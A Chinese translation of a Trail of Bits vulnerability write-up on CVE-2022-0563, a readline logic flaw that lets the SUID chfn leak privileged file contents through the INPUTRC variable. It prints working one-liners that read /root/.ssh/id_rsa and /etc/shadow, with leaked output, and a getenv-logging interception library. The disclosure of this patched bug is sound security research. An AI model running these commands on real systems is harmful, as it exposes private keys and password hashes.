利用SUID逻辑漏洞:Readline信息泄露攻击详解

本文深入分析了readline库中存在的SUID逻辑漏洞(CVE-2022-0563),攻击者可通过INPUTRC环境变量读取敏感文件内容,包括SSH私钥和shadow文件,详细介绍了漏洞发现过程、根本原因和影响范围。

Readline犯罪:利用SUID逻辑漏洞 - Trail of Bits博客

Rory M | 2023年2月16日
攻击, 漏洞利用, Linux

我在readline依赖库中发现了一个逻辑漏洞,当解析INPUTRC环境变量指定的文件时,会部分泄露文件信息。攻击者可在运行sshd、允许用户登录且用户私钥存储在已知位置(/home/user/.ssh/id_rsa)的主机上实现横向移动。

该漏洞已于2022年2月报告并修补,且chfn通常不由util-linux提供,因此您的系统可能不受影响。我撰写本文是因为利用过程很有趣——由于readline配置文件解析函数与SSH密钥格式的巧妙巧合,使得攻击成为可能(本文将进一步解释)。

TL;DR:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ INPUTRC=/root/.ssh/id_rsa chfn
Changing finger information for user.
Password:
readline: /root/.ssh/id_rsa: line 1: -----BEGIN: unknown key modifier
readline: /root/.ssh/id_rsa: line 2: b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn: no key sequence terminator
...
readline: /root/.ssh/id_rsa: line 37: avxwhoky6ozXEAAAAJcm9vdEBNQVRFAQI=: no key sequence terminator
readline: /root/.ssh/id_rsa: line 38: -----END: unknown key modifier
Office [b]: ^C
$

发现漏洞

在深入研究Qualys sudo漏洞后,我被SUID漏洞所吸引。在翻阅《软件安全评估艺术》时,我开始关注环境变量作为攻击面。通过注入拦截库记录getenv调用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#define _GNU_SOURCE
#include <dlfcn.h>
#include <syslog.h>

// gcc getenv.c -fPIC -shared -ldl -o getenv.so

char *(*_real_getenv)(const char *) = 0;
char *getenv(const char *name) {
      if(!_real_getenv) _real_getenv = dlsym(RTLD_NEXT, "getenv");
      char *res = _real_getenv(name);
      syslog(1, "getenv(\"%s\") => \"%s\"\n", name, res);
      return res;
}

注意: 我们假设这是最初的操作方式,没有浪费时间在gdb下启动SUID进程。

放置日志库后,运行find / -perm /4000查找所有SUID二进制文件。警告:记录所有getenv调用会产生大量重复结果。在排除无数LC_MESSAGES、SYSTEMD_IGNORE_USERDB等变量后,发现INPUTRC在chfn命令中使用。直觉认为INPUTRC指向配置文件,我盲目传递INPUTRC=/etc/shadow

1
2
3
4
5
6
7
8
$ INPUTRC=/etc/shadow chfn
Changing finger information for user.
Password:
readline: /etc/shadow: line 9: systemd-journal-remote: unknown key modifier
readline: /etc/shadow: line 10: systemd-network: unknown key modifier
...
Office [b]: ^C
$

根本原因分析

首先搜索"INPUTRC",发现与readline库相关。通过阅读readline-8.1源码,确认INPUTRC通过sh_get_env_value传递给getenv:

1
2
3
4
int rl_read_init_file (const char *filename) {
  // ...
  if (filename == 0)
    filename = sh_get_env_value ("INPUTRC");     // <- 命中

搜索错误信息"unknown key modifier"发现,rl_read_init_file调用_rl_read_init_file,最终路由到rl_parse_and_bind函数发出错误。由此可推断错误发生在readline尝试解析输入文件时——特别是当它试图将文件内容解释为键绑定配置时。

跳过空白后,_rl_read_init_file为输入文件中的每个非注释行调用rl_parse_and_bind。该函数包含四个导致_rl_init_file_error的错误路径,会打印当前解析的行。这是漏洞根源,因为readline不知道它以提升的权限运行,并认为打印输入文件的部分内容是安全的。

通过分析到达上述路径的条件,可推断文件行泄露的条件:

  1. 以引号开头且无闭合引号的行
1
2
3
4
5
$ cat test
"AAAAA
$ INPUTRC=test chfn
...
readline: test: line 1: "AAAAA: no closing `"' in key binding
  1. 以冒号开头且不包含空格或空值的行
1
2
3
4
5
$ cat test
:AAAAA
$ INPUTRC=test chfn
...
readline: test: line 1: `:AAAAA: invalid key binding: missing key sequence
  1. 不包含空格、制表符或冒号的行
1
2
3
4
5
$ cat test
AAAAA
$ INPUTRC=test chfn
...
readline: test: line 1: AAAAA: no key sequence terminator

幸运的是,SSH密钥匹配第三条路径(关键数据通常Base64编码在PEM容器中)。此漏洞还可读取PEM容器中的任何内容(如证书文件)或base64编码数据(如wireguard密钥)。

影响范围

该漏洞于2017年在2.30-rc1版本引入,足以影响LTS版本。但Debian、Red Hat和Ubuntu的chfn由不同软件包提供,因此不受影响。Red Hat默认配置中,/etc/login.defs不包含CHFN_RESTRICT,会阻止util-linux/chfn更改用户信息,从而消除漏洞。CentOS或Fedora默认也未安装chfn。

除chfn外,漏洞影响多大?readline很知名,但我们关注其在SUID二进制文件中的使用。在Arch系统上对每个SUID运行ldd显示,该库仅被chfn使用。手动检查Debian和Arch仓库后发现,只有Arch的util-linux包包含默认加载readline的SUID可执行文件(chfn)。

不要在SUID应用中使用readline

这是发送给Arch和Red Hat安全团队及软件包维护者的电子邮件链结果,维护者从chfn中移除了readline支持。漏洞已于一年前修补,希望大多数受影响用户已更新。

课后作业: 查看有多少SUID使用ncurses(至少macOS上的atop),并尝试使用TERMINFO环境变量… 如果有所发现请告诉我:^)

致谢

感谢Karel Zak、Arch和Red Hat安全团队,他们都非常有帮助且迅速推出修复。感谢disconnect3d的建议和帮助。

时间线

  • 2017年5月2日:漏洞引入
  • 2020年12月31日:全局时间线重置
  • 2022年2月8日:向Arch和util-linux上游报告漏洞
  • 2022年2月14日:util-linux上游修复漏洞
  • 2022年3月28日:撰写漏洞发现博客草稿
  • 2022年5月12日:内部发布博客文章
  • 2022年5月-2023年2月:拖延^H 留出时间滚动更新
  • 2023年2月16日:博客文章公开发布

参考文献

  • 漏洞在2.30-rc1版本引入
  • util-linux v2.37.4发布公告
  • CVE-2022-0563
  • Red Hat Bugzilla: Bug 2053151
  • util-linux仓库:从chsh、chfn移除readline支持[CVE-2022-0563]
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计